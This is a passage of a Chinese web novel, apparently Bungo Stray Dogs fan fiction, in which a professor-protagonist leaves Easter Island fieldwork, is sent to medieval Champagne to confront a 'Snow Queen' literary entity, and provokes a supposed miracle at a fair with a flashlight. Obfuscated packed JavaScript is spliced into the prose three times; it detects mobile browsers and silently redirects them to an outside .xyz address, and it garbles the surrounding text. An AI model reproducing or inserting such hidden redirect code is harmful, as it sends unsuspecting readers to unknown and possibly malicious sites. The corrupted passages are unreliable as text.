在他的面前,一个学生追着一只咯咯乱叫的鸡跑了过去。夏章雾没好气地瞪了那个连鸡都抓不住的家伙一眼,最后自己帮忙抓住了那只受了惊的肥母鸡。 “带给原居民去,别在这里惹麻烦。” 他说,然后继续和电话那头的人聊天:“其实我真的很好奇他们在这种环境条件下形成的文化形态。以及他们为了适应环境而产生的控制人口生育行为,是否在他们的文明里以神秘化与宗教化的手段得到了解释。” 说到这里,夏章雾笑了一声。 “是的,是的。我总是对这个最感兴趣,因为我总是会与它们打交道。”他说。 其余在旁边进行石头里面种红薯的学生们在听到这儿时,耳朵也尖了起来,纷纷好奇地往自家教授的方向看去。 “至于那些该死的大石像到底是怎么立起来的?哈,那关我们人类学家什么事情?我们都知道这没什么大不了的,说不定是洞穴蠕虫帮他们的呢?我可不是第一次遇到洞穴蠕虫。” 夏章雾耸耸肩,对电话那头说:“就让那些一个神话生物都没见到过的倒霉鬼们去自己瞎想吧。不过说起来,我总觉得我们这个专业和民俗学一样,都容易遇到稀奇古怪的玩意。也许只有容易遇见它们的人才会去选人类学。你懂的,命运的选择。” 听到这句话的学生纷纷发出失望或者绝望的嘟哝——或许他们当中的确有不少神秘生物爱好者,但是他们可一点都不想要亲自去见那些稀奇古怪的倒霉玩意。 从这个角度来看,命运的选择也太糟了。 如果可以,他们更愿意看那些神话传说中的怪物和自家教授打架,而不是自己亲自去面对它们,旁边还有教授超级大的嘲笑声。 “啊,你说的也对。或许没有洞穴蠕虫,而是他们当中出现了个力大无穷的异能者。嗨,异能可真是能用来方便解决一切的东西。” 夏章雾似乎是听到对面说了什么,于是耸了耸肩,语气逐渐变得得意洋洋: “不过这次我搞到了非常有用的异能者。他简直是我们人类学的天选之子——或许也是隔壁考古学的,但没关系,是我先发现的他。所以他是我们人类学的了!” 他扭过头,笑容灿烂:“对吧,安吾?我最最最最可爱的学生?” 正坐在石头围栏上喂小鸡崽的坂口安吾顿时打了个激灵。 他看了看夏章雾那张笑容灿烂的脸,又看了看自己学长学姐们那副“可恶啊,教授他从来都没有这么夸讲过我们”的羡慕表情,默默地咽了一下口水。 不知为何,坂口安吾有一种“自己现在就是一只被架在火架上面烤的烤乳猪”的错觉。 “什么?你说你想象不出来到底是什么样的异能者才能这样被我夸?” 似乎电话那头又说了什么,某位夏教授挑了下眉,拿起手机,用相当浮夸的语气自问自答起来:“当然是能够看到物体上过去的异能了!” 众学生们纷纷倒吸一口凉气。 他们看坂口安吾的眼神也瞬间就变了,现在变成了被迫吃素一周的人看到一只香喷喷烤乳猪时的眼神。 坂口安吾头皮发麻地往后退了一步。 他现在不得不怀疑起了勒托先生这次旅行只带上自己,没有带太宰治和织田作之助的一个重要原因就是想把自己喂给他的学生。 而夏教授本人还在和自己的同行吹嘘。 “更绝妙在于,他耳朵里还有巴别鱼。所以他能听懂过去的那些人到底在说什么!你知道这是多么伟大的突破吗——你知道!对吧?简直是完美的异能!之前我竟然一直都没有意识到他的异能还能在这方面发光发热!” “当然,就算你嫉妒我也没有什么用处。因为现在我是他的临时监护人,他是不可能去你们那里上学的,哈哈!” 说完这句话后,夏章雾就神清气爽地挂断了电话,顺手接过一条被递过来的烤鱼,并往烤鱼出现的方向看了眼。 俄罗斯人正站在那里,用酒红色的眼睛看着他,并且在注意到他的视线后还轻轻地偏了一下脑袋。 “您刚刚是在和其他大学的教授打电话?” 他说。 “是啊,美国马塞诸塞州的一个大学,算是我们的姐妹学校吧。虽然之间并没有什么真正的亲缘关系,但我们研究的领域经常碰车,毕业后的学生也经常会在同一领域相见。” 夏章雾把烤鱼塞进嘴里,含糊不清地说。 “所以一来二去,两个学校就熟悉起来了。现在我们都会开展联合调查,研究相同的课题。也算是互相进步?” “这个嘛,我不好说。” 作者在旁边忍不住吐槽道:“我觉得你们这两个学校分明就是在互相配合着把自己的学生挨个送到坟墓或者精神病院。” 这就是纯粹的污蔑了。夏章雾决定暂时无视来自作者的胡言乱语:不过他也觉得他们的这个兄弟学校的成员脑子有点不太正常。 毕竟,正常人谁会把自己学校所在的小镇叫阿卡姆啊! 这是嫌DC知道的人太少,还是嫌自己住的地方不够晦气?反正一看就让人感觉那里居住的人精神状态不太美妙。 想到这里,夏章雾不禁叹了口气,然后顺手抄起手边的报告,卷成纸筒,狠狠地敲了敲身边那几个蠢蠢欲动的傻子学生的脑袋。 “给我滚去做地质考察!别以为有安吾在你们就不用干活,天天脑子里全是什么魔法仪式什么炼金术,结果人类学没学好,神秘学也是个半吊子,丢不丢人啊!搞得我们姐妹学校都以为我们专业是研究魔法的,丢不丢人啊!” 他没好气地说:“都给我滚去干活!” 被敲脑袋的倒霉学生们发出可怜的呜咽,然后就跟着同伴纷纷作鸟兽散。坂口安吾则是趁机躲到了费奥多尔的身后。 费奥多尔顺手摸了摸他的脑袋,然后才抬眸看向夏章雾。 那对酒红色眼睛看人时给人的感觉总是很专注,也很认真。只是夏章雾被他看得有点不太自在,于是回以了非常具有攻击性的目光。 不过要是这位教授的学生们在这里,肯定会对这种目光失望的——这里面的攻击性还不如教授看到他们课业论文时的攻击性呢。 如果说那时候的夏教授是一只凶神恶煞的喷火龙,那么现在顶多只能算是一只正在尝试张牙舞爪的喷火龙玩偶。 费奥多尔看上去也知道这一点。所以他并没有轻易挪开自己的视线,而是继续和夏章雾就这样对视。 “您今天似乎有些焦虑。” 他的声音总是给人一种无害的错觉:“是因为这次田野考察要结束了吗?” 夏章雾勉勉强强地“嗯”了声。 “但也不算吧。虽然我真的不怎么想要回去面对卡夫卡的代课补偿费,也不想再去见到该死的柯南·道尔,更不想被剑桥的那两个魔鬼未成年少女捉弄……呃,怎么我的人生当中倒霉的事情就那么多!” 说到这里,就连夏章雾自己都觉得有点不对劲,不得不深刻反省了一下自己的倒霉程度,这才继续说道:“总之,明天我要独自去办一件很重要的事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489552|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 费奥多尔继续看着他:“很重要?” 坂口安吾有些犹豫地看了看现在注意力全部放在彼此身上的两个人。 他突然觉得自己还是溜走比较好,就算是被学长学姐们追也没关系。因为他现在感觉自己要是继续待在这里当电灯泡,结局大概会比被学长学姐抓住惨痛得多。 此念一起,他立刻遵循了自己现在逐渐锻炼出来的趋利避害本能,直接不动声色地跑了。 夏章雾更加不自在地咳嗽了一声。 说实话,现在他甚至有点想要直接用翅膀逃之夭夭。毕竟他无论怎么想,都不觉得自己有什么要向对方解释行动的义务。 但在对方眼前逃跑也太逊了…… 可恶,这家伙就不能挪开一下视线吗?只要他稍微移动一下视觉焦点,夏章雾保证自己能在那个瞬间内直接靠翅膀起飞跑路。 “是必须要做的事情。” 但最后他还是认了输,闷闷地说道:“只能有我一个人,你就去照顾照顾那群傻瓜吧。” 没办法,这次作者是这么要求的。 而他三个月的假期现在也基本上休完了,算是重新回到了艰难险阻的救世主生涯当中。 不过这次的作者倒是信心十足,表示这次给他安排的文学负面体解决起来相当简单,本质就是让他出门继续休假和公费旅游,用一天的时间解决简直绰绰有余。 只是有一个要求。 ——只能靠他自己解决这次的事件。 费奥多尔继续盯着他。 “要多久才能回来?”他说。 “嗯?”夏章雾愣了一下,“我说了一天啊。” 俄罗斯人的表情依旧很平静。 “一般来讲。”说这话时,他完全就是一副习惯的语气,“您说这种话时,至少我们也得有三年的时间不会再见面。” 夏章雾:“……” 如果他没理解错的话,这句话的意思是,他可以用这种方式甩掉面前的这家伙整整三年? 哇,这可真是太好——啊不对,真是太令人悲伤了。 竟然只有区区三年,那三年过后他被这家伙重新抓住怎么办?就算是夏章雾,也会觉得他们重新见面时的场景肯定会很惨烈。 于是他还是很违心地做出了承诺。 “放心啦。我肯定会回来的。” 他说,然后突然换了个话题,装作若无其事的样子开口问道:“所以说,你知道为什么乌鸦不是写字台吗?我记得你之前还给爱丽丝问过这个问题。” “哇哦,好生硬的话题转移方式。” 画外音笑嘻嘻地说:“能看得出来,某个人真的不想聊这方面的内容。” “我以为那里面的事情已经过去了。” 费奥多尔也没有被转移注意力,只是用非常平淡的语气说。 “有吗?我感觉只要那两个恶魔般的小姑娘还在骚扰我,我就永远都不会忘记在那个死亡世界里到底发生了什么。嗯,永远……” 夏章雾抬头望着天空:“其实把这个词用在那个事件上,似乎有点荒谬。” ——永远。 费奥多尔挪开视线,似乎默认了夏章雾的这次拙劣的转移话题。 “乌鸦不是写字台的原因在于乌鸦不是写字台。我以为这是您最喜欢的回答方式。无需多言的事实自己就可以作证自己。” 他这么说:“但如果您喜欢文字游戏,那么我会用‘爱丽丝为什么不是女皇’来作为回答。” 夏章雾突然觉得这个场景有点似曾相识:有点像是他们第二次见面时在车上把一个问题来回抛来抛去,就像这个问题是一个手雷。 “那好吧。” 他说:“如果这真的是文字游戏,那么我就会用‘永恒为什么不是永恒’来回答。” 费奥多尔眨了下眼睛。 然后他轻轻地笑了起来。 “永恒。”他说,“您知道我是怎么活到现在的吗,勒托先生?” “靠异能?” “是啊。在一场燃烧了永恒的火焰中,我觉醒了异能。” 66.“高塔” 复活岛的夜晚有着很亮的星。 “急救包、水、武器、衣服、手机。” 在星光下,夏章雾收拾着手头的东西,把它们按照顺序装在行李箱里:“指南针、罐头、压缩食品、打火机、修理工具、净水片、手电筒、备用电池、充电器、望远镜……” “这种警惕的态度也太伤人了吧!” 作者在旁边发出伤心的声音:“搞得像是我要安排你去地狱寻找纯洁的灵魂一样。人与人之间就不能多点信任吗?” 夏章雾停下了收拾的动作,抬头看去。 “是啊,你说过解决文学负面体不难。那我就不得不考虑一下这次你会不会在其他方面给我增加难度系数了。” 他很淡定地说道:“按照我对你的了解,接下来我去的说不定就是地核中心、大洋深处、月球表面、半人马星系和异世界之类的地方。当然得提前做好准备。” 他可不想出师未捷身先死。 “问题是读者们都说了这次的文学负面体是冰雪女王。又不是地心历险记、海底两万里、环绕月球、三体和日式厕纸轻小说!” “原来你是想要把我骗去南极?你这家伙,真是用心险恶。” “可恶,这么一说我真的心动了。但是冰雪女王的故事根本不是发生在南极,笨蛋!那是发生在挪威的故事!” “所以你是怎么打算让我一天内去趟挪威,然后又回来?” 终于从作者口中套出了具体任务地点的夏章雾挑了挑眉:“你之前就和我说过,这次的任务期限只有一天。” 虚空中传来了“嗯哼”一声。 “马上你就懂了。”它说,“但首先,你把这次任务的必要道具给带上了吗?” 就像是上上回解决完人间失格完后得到的奖励,在上次的爱丽丝漫游奇境及镜中奇遇被解决后,作者也拿出了点东西,来给自家的主角稍微加强一下。 也就是这次的“必要道具”。 夏章雾指了指行李箱的外侧:“当然放进去了。不过你确定会用到它?” 那是个有着精致雕刻纹路的玻璃瓶,里面盛满了透明的液体。一个带着标签的软木塞被塞在瓶口,上面的墨迹已经被晕染开,模糊到看不清具体的内容。 “嗯,有这个就行了。你给我放心。” 作者这次话说得斩钉截铁:“只要拿着它,解决那个文学负面体绝对就是有手就行。我都说是让你去度假的,你就信我这一回。” 夏章雾虚起眼睛。 本着对作者的信任,先知先生觉得作者的最后这句话绝对不可信任。但他也没有反驳,只是拽住了行李箱的拉杆。 “走吧。”他说,“我猜你会直接把我送到对应的地方。” …… 短暂的眩晕感。 一种仿佛正在被撕裂的错觉。 仿佛漂浮在宇宙中。 但比起在宇宙中漂浮,最准确的形容应该是“仿佛被丢进滚筒洗衣机”,虽然夏章雾还没有真正地进过滚筒洗衣机,但他觉得在那里面待着的感觉绝不会比此刻自己的感受更糟。 “说是滚筒洗衣机也没有什么问题,它就是世界上最大的滚筒洗衣机。但对你来说,这种体验应该更像是晕车。” 在这个过程中,作者的声音模糊不清地传了过来:“只要习惯了,其实一切都好说。现在让我想一下,你要去的地方……” 它大概是思考了片刻。 “唔,根据我的想法,你最好从比较繁华的地区开始。法国的香槟郡怎么样?” 它说:“那是个非常好的地方。你总得先适应一下那里的环境,然后再给未来打算做的事情做好准备。” “香槟郡?” 夏章雾下意识地问:“不是香槟区?” 如果他没有记错的话,香槟郡已经是中世纪时期的名字了。 那时的香槟郡是整个欧洲贸易的轴心,也是现在的人们在谈论十二三世纪欧洲贸易时永远都绕不过去的地名。 “是啊,你没听错。” 作者愉快的声音在他耳畔响起:“所以我接下来要说的是:欢迎来到——中世纪的欧洲!” 什么东西破裂的声音。 就像是被一种无法言说的物质吐出,夏章雾在头晕目眩的情况下勉强站稳了身子,重新回到了坚实可靠的现实宇宙当中。 他的身体在表达强烈的呕吐愿望,但他的思维却无与伦比的清晰,几乎是瞬间就把自己在过程中的感受与科学串联了起来。 “神特么……最大的滚筒洗衣机!” 他骂骂咧咧地扶着树干就开始干呕,同时还在倔强地给作者竖着中指。 “你家……把黑洞叫作滚筒洗衣机啊!而且这到底是把我送到哪个……时间了,中世纪它长度足足有……一千年呢!” 更重要的是,文学负面体的位置是在挪威,而他现在是在法国的香槟郡。所以他到底要怎么在中世纪从法国、卢森堡和比利时的交界处一路跑到挪威? 靠飞吗? 一想到这个,质问那个混蛋作者的冲动就在夏章雾的内心油然而生。 “嘿嘿。我才不告诉你。” 然而作者完全就是一副没心没肺的样子,它原形毕露地嘿嘿笑着:“而且你要知道,徒步旅行也是度假的一种方式。” 从夏章雾的表情来看,他似乎更想骂人了。 不过他最后还是勉强让自己冷静下来,决定不去思考作者的不靠谱——毕竟和作者互相伤害显然无法改变现状,还不如考虑一下接下来到底要怎么办。 夏章雾先是看了眼四周,确定自己降落的位置处于荒郊野外后,首先打开了跟着自己来到了中世纪的行李箱。 在重新清点了一遍现有的物资后,他飞快地做出了决断。 “首先,去香槟集会换基础物资和货币。然后找到一位来自挪威的行商,和他的队伍一起去挪威。” 说到这里,夏章雾忍不住叹了口气,直接坐在地上,从怀里拿出笔记本,自言自语道: “虽然不知道现在是什么时期,但如果有香槟集市,那北方人应该开始转行当行商了。嗯,希望吧。没有我也可以找别的向导。” 其实他对于时代的要求真的很简单,只要不要碰到瑞典和芬兰在打圣战、也别遇到十字军东征就行…… 「林夜: 其实我一直都在哦~悄悄的,不说话。我会一直看(shi)着(jian)你(不是)」 “喂喂喂,这话听起来真的像是怨气非常深重的女鬼啊,林夜小姐。不过话说回来,那个俄罗斯混蛋也是这样。” 救世主先生眯起眼睛,吐槽道:“总是喜欢用那对红眼睛默默地盯着人,半夜我醒的时候还以为撞鬼了——呃,他应该不在这里吧?” 他下意识地望向周围。 还好,不在。 于是他继续看评论。 「再不吃掉月亮就要无敌了: 嘶,永恒的火焰,这是精神上的还是物质上的?如果是精神上的,那么相当于账务是在费佳佳心上烧了一把火,不愧是情债大王啊;如果是物质上的,那账务你很坏了……」 “啥?我干什么杀人放火的事情了吗?而且你们说的‘永恒的火焰’,应该就是让家伙成为异能者的那场火吧。” 夏章雾用食指提起笔记本,用力地晃了晃,满脸的无语:“我要是真的放火烧死了那个俄罗斯人,怎么想都是为民除害的举动才对啊。” 虽然实际来讲,那把火只是让他成为了异能者,最后成功地祸害遗千年了…… 「桉莉斯: 账务你解决完这个OOL后就要去屠龙啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏章雾用怨气深重的眼神看着虚空:“总不至于这个存在于过去的文学负面体,除了我就没人能杀死了吧?” 作者似乎有些讪讪地笑了一下。 “还真是。”它说,“要是这些事情普通人类就能解决,那还要主角干什么?” 非常有道理的一句话,就是有道理到让夏某人默默捏紧了拳头。 “咳咳。你想想啊,这种事情也很正常。” 作者见状,连忙补充了一句,生怕自己的优秀打工人就这样撂挑子不干:“主角就是为了解决常人所无法解决的问题而诞生的,是吧?” 夏章雾不情不愿地“嗯”了声。 “但是从常理来看,那些无法解决的问题总不能等到主角诞生后才出现吧。那主角诞生之前的世界怎么办?” 作者的演讲可以说是激情澎湃:“难道要提前毁灭?那就轮不到主角诞生了啊。” 夏章雾不得不承认它说的话有点道理,于是继续“嗯”了一声。 “所以,针对这个问题,我有了一个开创性的解答方案。” 作者突然抬高了声音:“那就是——让主角穿越回过去,去解决那些发生在主角诞生前的、但也只有主角能解决的麻烦!” 主角先生“呃”了声,表情像是被强迫吃了折耳根混香菜馅的蛋糕。 “其实我觉得这个想法还是很天才的。” 知道自己是在给人增加工作量的作者轻微地咳嗽了一声,丝毫看不出它此刻的心虚:“至少它解决了很多文章逻辑上的问题,并且达成了完美的自我闭环。” “是吗?” 夏章雾面无表情地回答:“那你最好就要做好被我破坏完美自我闭环的准备。比如说,我绝对绝对绝对不会通过任何方式去接触那个名字超级长的俄罗斯人。” “诶?”作者发出有些茫然的声音。 然而夏章雾的眼神已经锐利了起来。 他的话掷地有声:“这次我一定要!改变!那个!被那家伙缠上的!未来!” “可恶!”作者大惊失色,“我才不会允许你改变那个未来!” 67.老登爆金币啦! 法国香槟郡。 或许是已经到了午餐时间的缘故,空气中弥漫着炖肉混杂着香料的香气。不过这些香料的味道到底是来自于锅里,还是来自集市的摊位上,就有点值得商榷了。 夏章雾拉着拖杆箱,有些好奇地打量着周围的风景。 香槟郡的羊毛、里姆斯基的呢绒、北欧的裘皮、君士坦丁堡的奢侈品、阿拉伯的香料、洛林的日用铁器。 反季节的坚果与苹果被珍视地放在摊位上,广场乱糟糟的羊群与猪发出嘈杂的声音,手推车上面装着满满的熏肉,鸡鸭鹅之类的家禽在笼子里扑腾着翅膀,许许多多的鱼被码在盐堆上。 虽然是中世纪,但这里的集市依旧显得非常热闹。沿途各种各样的叫卖声不绝于耳。男男女女都在其中来回穿梭。 吟游诗人在街上通过唱歌的方式吸引周围的观众。不过因为他唱歌的水平并不怎么样,所以很快就被人们赶走了。 甚至就连夏章雾都觉得他走后,自己的耳朵清净了很多。 他绕过这群人,大大方方地朝那些好奇盯着自己的人们微微点头,思考着自己应该怎么把手中的东西出手。 他手提箱里的东西并没有那种华丽到很容易让人喜欢的事物,最能卖得出价格的可能就是手电筒与望远镜了。 毕竟这两个玩意目前还属于现在的欧洲人完全没有办法理解的玩意:他们没法解释为什么一个圆筒会发射出光线,也无法想象为什么两个圆筒能让人看到很远地方的风景。 可惜他没有带玻璃出门的习惯。 夏章雾有些遗憾地想。 否则他就能借点东西,直接造一个外景万花筒了。这种花里胡哨的东西一看就知道很容易让那些有钱的中世纪冤大头爆金币。 不过他或许也可以给自己包里的望远镜与手电筒编点中世纪神奇小故事,以此来额外增加一下它们的价值? 抱着这样乐观的想法,夏章雾来到了一个买奢侈品的摊位前。 这个摊位上面摆放着在阳光下显得十分耀眼的宝石,摊主则是在无所事事地吃着午饭。 那大概是一锅乱炖。说不上使用了什么特殊的技巧,但闻上去的确十分美味。他看到夏章雾走过来后,放下勺子,有些好奇地朝这位他从未见过类似穿着的旅人看了一眼。 “您是从哪里来的人?” 他没有用法语,而是用拉丁语询问道。 “我来自东方。” 夏章雾面不改色地回答道。 这话也不算错。他的确是出生在东方……至少是在东方被他妈给捡到的,否则也不会有这么个东方化的名字。 君士坦丁堡商人看着他,发出有些惊讶的嘟哝声。其余集市上能听得懂拉丁文的人也纷纷看过来,显然对这位从东方来的旅人很是好奇。 “那可是段不短的路程。”他问,“您是一个人来到香槟郡的吗?这里的道路上时常会有野兽出没,我们这些长途旅行的商人基本上都是结伴而行的。” “哦,的确是这样。” 夏章雾环顾了一圈,记下周围人看他的眼神,露出笑容:“但上帝保佑,这些野兽都不是我的对手。从我的衣服就可以看出来,这一路我还算轻松。” 的确,他那身料子和版型非常独特的衣服很是整洁,只是落了些许灰尘。而且从面色上来看完全不像是经历了长途跋涉的人。 一些不怀好意的目光悄无声息地挪开了。 他们意识到面前的人绝对不是什么善茬,于是主动避开了可能的冲突。 而商贩则是深深地看了他一眼。 “如果不是您手上的茧子,我肯定会以为您的身份是哪个爵爷或者国王养尊处优的儿子。”他说,“所以您过来是要买什么,或者卖什么东西吗?” “这都要感谢上帝。我在旅途中发现了一个有趣的东西。” 夏章雾直接大大方方地坐在摊位前的小凳上面,然后直接从行李箱的侧面掏出了自己的手电筒:“我是在东方人的聚落中发现它的。” 现在就是编故事的环节了。 他一本正经地说:“当时它一直在不分昼夜地发出耀眼的光芒。整个村落都是围绕着它建立的。当地的人们用镜子承接这些光,好让它可以传递到每个家庭。因此他们的夜晚如同白昼一般明亮。” “光芒?而且还是那种能让周围如同白昼的光?” 商人把目光放在这个看起来平平无奇的黑色筒状物上,掏出一张手帕,双手接住了它,先是小心翼翼地打量一遍,才有些诧异地开口: “它到底是怎么做到的?” 在中世纪的人们认知里,除了火与太阳之类的发光物,其他物品能散发的最大光芒也只能是萤火虫那样的淡淡荧光。这与太阳和火制造出的光明差距实在是太远了。 “只需要手指在这个位置轻轻一按就行。关掉也是这个方法。” 夏章雾为他指了指开关的方向:“我的建议是在这么做的时候,最好不要把那银白色的一端对着……人。” 这话说得有点晚。因为商人已经把手电筒给打开了。 另一个摊位上,不幸遭到了手电筒光线直射的商贩发出一声惨叫,捂住自己的眼睛,蜷缩起来。周围的人则是闹哄哄地乱成了一团。 夏章雾嘴角扯了扯。 “先把它关掉!”他大声说道,“用干净布料浸泡冷水后送过来!” 他这个可是钟塔侍从特殊配置的十万流明手电筒。虽然不是最大档,但这么来一下也是遭老罪了,必须得闭眼缓上一会儿时间。 一时间,集市里有去帮被闪瞎眼睛人的,有过来凑热闹的,有对着如此耀眼的光线发出惊呼的,显得非常热闹。 最后,在大家不知道是帮忙还是帮倒忙的努力下,夏章雾终于给这位不幸被强光洗脸的倒霉蛋眼睛进行了一个简单的冷敷。 商人此时已经关掉了手电筒,在确认完这个人没事后也松了口气。 然后他的目光便明亮了起来。 “真是惊人!” 他打量着手中的东西,不由自主地说:“世界上竟然还有这种东西存在。它的光线竟然在白天也依然耀眼!” 其余人也纷纷投来好奇的目光,在周围窃窃私语起来。 而那位倒霉蛋痛苦地呻吟了几声。 他尽管脸上还盖着打湿的手帕,但还是努力地支撑着身子,在周围人的搀扶下,摇摇晃晃地走到了夏章雾身前。 夏章雾困惑地看了眼他。 说实话,他有点搞不懂这个倒霉蛋心里是怎么想的。在强光导致暂时性目盲后,不原地好好地静养,朝他走过来是要干什么…… 等等。 该不会是想要过来讹钱吧! 想到这里,夏章雾立刻就警惕了起来。 但就在他为自己想好了第十三个不付款的理由时,面前的人突然摇摇晃晃地“噗通”一声,朝着他跪了下来,盖在眼上的湿布也掉在了地面。 然后他开始嚎啕大哭。 “那、那一定是来自天堂的光啊。” 他哽咽着说,身子深深地伏在地上:“在看到那圣洁耀眼的白光时,我的眼睛似乎都在火焰中融化,眼中忍不住地流下泪水……我才发现我的过去到底都犯了何等可怕的错误!” 夏章雾大脑宕机了:“呃?” 然而那个人还在说。 “我竟然沉迷于财产数字的增加,而忘却了基督所叮嘱的爱。我竟成了如此冷漠的人!全能的主啊,您是派了自己的使者特意前来,想让我的心被天堂的光辉洗涤,并在盲目的黑暗中知晓自己的罪孽吗?” 然后他便跪在夏章雾的面前,流着泪,开始说自己过去所犯的所有过错。俨然已经把面前带来手电筒的人当成了教堂的神父。 周围的人群中传来诧异的声音。 然后也有人开始陆陆续续地跪下,还有些人大概是看到别人跪下后觉得自己站着也不太好,便也跟着不明所以地跪下了。 还有人没有跪。 只是那倒霉蛋每说出一项自己的罪行,他们就在旁边悄悄地议论起那个人平时的样子,似乎是在凑热闹,也似乎是在七嘴八舌地增加这份奇迹的可信程度。 “他是这里相当有名的杰出商人。” 君士坦丁堡的商贩看夏章雾的眼神似乎也不对劲了起来,他走过来,低声地说: “他总是能推断出哪些商品在哪个地区能卖出最好的价格,用什么样的策略才能更好地卖出自己的货物,怎么样为自己赚到最大的利益。很多商人都会模仿他的行动。但他从来都不会给任何人让利,这让他的名声相当不好——不管是在我们中,还是在那些顾客中。” 夏章雾扯了一下嘴角。 这一瞬间,他有很多的话想说,但好像又什么都不用说了。 首先,作为一个没有信仰的家伙,他似乎还是低估了宗教在这个时代的影响力。 其次,这件事本身也荒谬得有点过头。 一个冷酷无情的利益至上商人在照完手电筒后突然开始自我反省,重新拾回自己的良知……嗯,这个故事,怎么说呢? 如果手电筒真的有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503644|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个作用,资本家这种生物肯定会被人用手电筒灯光照绝种吧! 整件事中值得吐槽的事情实在太多,以至于夏章雾都丧失了吐槽的欲望。 他只是用自己金棕色的眼睛默默地凝视着身前下跪的人,完全就是一副“你说什么我都只会啊对对对”的摆烂架势。 “我正在思考一件事。” 他用相当虚弱的中文和作者说:“为什么我这个不擅长处理复杂场合的人,总是会遇到这种很难处理的复杂场合啊!” 画外音咳嗽了一声。 “是啊,为什么呢?” 它用很真诚的语气回答。 夏章雾在心里给它默默地比划了一个中指,但没有继续说话。 因为他已经听见,由于自己刚刚使用了这种大家都听不懂的语言,已经有人开始说“这就是天使的语言”了。而且这种说法还在短时间内就得到了大量群众的惊叹和认同。 ——说实话,某位人类学教授现在觉得自己要是回到了现代,都能写一篇社科论文,名字就叫“中世纪宗教谣言的生成与传播”。 正在此时,那个跪地的男人漫长的忏悔似乎也终于要来到了尾声。他哽咽地、泣不成声地抬起自己的脸,但没有睁开眼睛。 那张已经不年轻的脸上有着明显的褶皱,但此刻却似乎已经被泪水所填平,汇聚成了闪闪发光的湖泊,甚至显现出了某种神圣。 “我愿把一半的财产赠予您,基督的使者。我已经领悟到作为人的一生并不需要这些东西,而我却为它们而背离主的道路太多。” 他说:“今后的日子,我将用余下的财产去帮扶所有曾被我厌弃的人。愿我依旧能行在您为我等指引的道上。主啊……” 男人的哭腔越来越大,最后泣不成声。 夏章雾看到他的眼中有玻璃渣一样闪光的东西被泪水冲出,然后融化在滚烫的泪中,就像是冰雪消融在春日的阳光下。 “您已做出忏悔。” 他叹了口气,弯下腰,伸手去按住这个跪地哭泣不止的男人肩膀:“主已经将您宽恕,去过您想要的生活吧。” 哭声逐渐减弱。 男人睁开双眼,茫然地看着身前。 “啊,我现在又看到了这个世界!” 他说,这次流下的却是喜悦的泪水:“它比我之前看到的还要美丽百倍!我不敢想象,我之前竟然对世界如此弃之若履,眼中只有它们丑陋的一面。感谢上帝,赋予我新生!” 呃,这个,倒也不用这么激动吧? 毕竟你的目盲状况本来就是暂时性的啊。 夏章雾感觉自己的嘴角又抽了一下。 好吧,虽然这个手电筒现在似乎因为打上了圣物标签,没法卖出去。但好在他还是殊途同归地得到了一笔足够自己前往挪威的钱。 至于别的事情……不用在意那么多!主要目标达成就行!现在他只需要去找一个会前往挪威的商队就可以去找文学负面体决斗了! 想到这里,他不动声色地后退一步。 “我明白了!” 人群里突然传来一个声音。 夏章雾瞬间就辨认了出来,这是那位吟游诗人的声音。他之前唱的歌实在是太有特色了,让人很难在短时间忘记他的声音是什么样。 “这个人原来一定是冰雪女王的俘虏!冰雪女王的冰扎进了他眼睛里,所以才让他变成了冷漠的商人。而来自天堂伟大而又神圣的光辉将冰块融化了,最后的残渣又被泪水冲了出来。” 一个高大的男人突然激动地挤进了人群,挥舞着手高声喊道:“这位神的使者!您一定要救救那些被冰雪女王伤害的人,每年都有人因为她而变成冰块——” 这个人的话没有继续说下去。 因为香槟集市的守卫终于来了。 “你们都在嚷嚷些什么呢?”守卫们很是不快地呼喝道,“堵在这里还怎么让人交易!这里难道是有什么人在惹事吗?” “没有人惹事!”人群中有好事者喊道,“我们只是在见证神迹!天啊,布兰达——那个冷漠的、混蛋的商贩竟然洗心革面了!这一切都是神明使者的功劳!” 神明使者夏章雾欲言又止了几秒,然后便对上了守卫满是惊讶和怀疑的目光。 ——哦豁,似乎又又又又完蛋了。 他想。 不过在此之前,他还有一件事要解决。 “喂,读者们。” 他按住衣服里放着的笔记本,轻声说:“他说的内容可靠吗?《冰雪女王》到底是一个怎么样的故事?” 68.这就是我的逃跑路线哒 香槟郡的伯爵打量着面前被带来的人。 他第一次见到这么奇怪的家伙。 其实当他听属下们提到集市中发生的事时,他的第一反应就是自己的领地里又出现了一位打着上帝旗号招摇撞骗的骗子,甚至有可能与那个“改过自新”的商人是一伙的。 捐出一半的财产?谁会相信这个! 说不定这是什么逃避税收的新手段。 但现在,香槟伯爵稍微有点怀疑自己之前的看法了:看看面前的人吧。 体面、整洁、优雅。 就算是在面对自己时,对方也没有表现出任何畏惧的姿态,甚至香槟伯爵还能感受到对方正在反过来打量着自己。 与其说他像骗子,倒不如说是像一位在良好教育条件下教养出的一位贵族,就算是面对其他的贵族也没有丝毫畏惧与敬畏。 而且对方身上深蓝色的斗篷也是由极其特殊的材料制造成的。披风下那件砖红色的衣服和他见过的任何款式都不相同,甚至与时下的风格相迥异,似乎是在教士长袍基础上加上了许多扣带作为装饰的结果。 他的手中还拉着一个相当奇特的箱子。 